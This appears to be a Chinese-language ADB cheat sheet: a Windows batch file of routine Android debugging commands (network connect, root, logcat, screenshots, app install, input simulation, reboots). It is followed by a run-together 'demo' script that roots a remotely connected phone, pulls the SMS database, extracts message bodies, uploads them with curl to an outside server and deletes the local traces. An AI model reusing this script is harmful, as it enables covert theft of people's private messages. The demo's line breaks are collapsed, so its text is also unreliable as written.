標籤:檔案許可權 運行 echo demo databases 手機 英文 boot 結果
@echo off
title Android Debug Bridge
ECHO 關閉ADB
adb kill-server
ECHO 啟動ADB
adb start-server
ECHO 查看已串連 adb 的裝置列表
adb devices
ECHO 遠端偵錯
adb connect 192.168.43.1
ECHO 擷取許可權
adb root
ECHO 擷取裝置的狀態
adb get-state
ECHO 列印 Android 的系統日誌
adb logcat
ECHO 手機螢幕儲存到SDCard
adb shell /system/bin/screencap -p /sdcard/screenshot.png
ECHO 螢幕圖片儲存到電腦
adb pull /sdcard/screenshot.png .
ECHO 強制安裝
adb install -r adbWireless_12.apk
ECHO 卸載 APK
adb uninstall *.apk
ECHO 重啟手機
adb reboot
ECHO 進入shell環境
adb shell
ECHO 修改檔案許可權,要先進入 shell 環境
chmod 0755 [手機端檔案路徑]
ECHO 重啟手機進入 Recovery
adb reboot recovery
ECHO 重啟手機進入 Bootloader
adb reboot bootloader
ECHO 將手機上的作業記錄匯出為 txt 檔案
adb logcat > log.txt
ECHO 將裝置改為可讀可寫
adb remount
ECHO 新增的錄製命令執行命令後操作手機,ctrl + c 結束錄製,錄製結果儲存至 sdcard
adb shell screenrecord sdcard/record.mp4
ECHO 類比輸入文本資訊(前提先將鍵盤設定為英文鍵盤)
adb input text HelloWorld
ECHO 類比物理按鍵動作
adb input keyevent KEYCODE_VOLUME_DOWN
ECHO 類比點擊操作
adb input tap 500 500
ECHO 類比滑動操作
adb input swipe 200 500 400 500
ECHO 類比長按操作(x1 y1 x2 y2 毫米)
adb input swipe 200 200 200 200 1000
ECHO 啟動預設瀏覽器開啟一個網頁
adb shell am start -a android.intent.action.VIEW -d http://litry.cn Starting: Intent { act=android.intent.action.VIEW dat=http://litry.cn }
ECHO 啟動撥號器撥打 10086
adb shell am start -a android.intent.action.CALL -d tel:10086 Starting: Intent { act=android.intent.action.CALL dat=tel:xxxxx }
擷取手機簡訊的小demo
@echo offtitle SMSECHO 關閉ADBadb kill-serverECHO 啟動ADBadb start-serverECHO 串連遠程裝置adb connect 192.168.43.1ECHO 擷取許可權adb rootECHO 將裝置改為可讀可寫adb remountECHO 匯出mmssms.dbadb pull /data/data/com.android.providers.telephony/databases/mmssms.db .ECHO 關閉ADBadb kill-serverECHO 匯出簡訊sqlite3 -csv mmssms.db "select _id,body from sms order by _id desc">sms.txtECHO 刪除本地mmssms.dbECHO del mmssms.dbECHO 上傳至伺服器curl -F "[email protected]" http://***/smsECHO 刪除簡訊del sms.txtPAUSE
ADB(Android Debug Bridge)小結